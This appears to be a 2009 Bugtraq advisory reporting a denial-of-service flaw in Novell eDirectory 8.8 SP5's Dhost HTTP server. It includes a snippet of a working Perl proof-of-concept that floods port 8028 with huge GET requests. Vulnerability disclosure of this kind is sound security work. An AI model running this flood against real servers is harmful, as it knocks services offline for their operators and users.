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Date: 8 Sep 2009 09:09:41 -0000
From: karakorsankara@...mail.com
To: bugtraq@...urityfocus.com
Subject: Novell eDirectory 8.8 SP5 Dhost Http Server DoS
Affected Software:
Novell eDirectory 8.8 SP5
Vulnerability Description:
Novell eDirectory 8.8 SP5 is vulnerable to a denial of service attack.
If a remote attacker sends Unicode strings with Http Request to "8028 port"
("8028" is the default port of Novell eDirectory Dhost Http Server),
the attacker can cause the system to consume 100% of the CPU resources.
Credits to:
Hellcode Research
Original Advisory:
http://tcc.hellcode.net/advisories/hellcode-adv003.txt
Exploit:
- snip-
....
$data = "?" x 500000;
for($i= 0; $i < 1000; $i++)
{
$sock= new IO::Socket::INET( PeerAddr => "localhost",
PeerPort => 8028,
Proto => 'tcp',
Type => SOCK_STREAM,
);
print $sock "GET /$data HTTP/1.0\r\n\r\n";
close($sock);
}
...
- snip -
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